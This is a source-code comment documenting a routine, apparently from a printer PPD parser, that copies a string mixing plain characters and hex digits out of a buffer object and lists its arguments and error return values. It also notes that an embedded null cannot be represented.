/*++

Routine Description:

    Copy string out of a buffer object and treat its contents
    as a mix of normal characters and hex-decimal digits.

Arguments:

    pBufObj - pointer to buffer object
    pTo - pointer to destination character buffer

Return Value:

    PPDERR_NONE - string was successfully copied
    PPDERR_SYNTAX - invalid hex-decimal string

[Note:]

    Since we use the null character to as a string terminator,
    it cannot appear as embedded hex string. Otherwise, the
    string will be terminated prematurely.
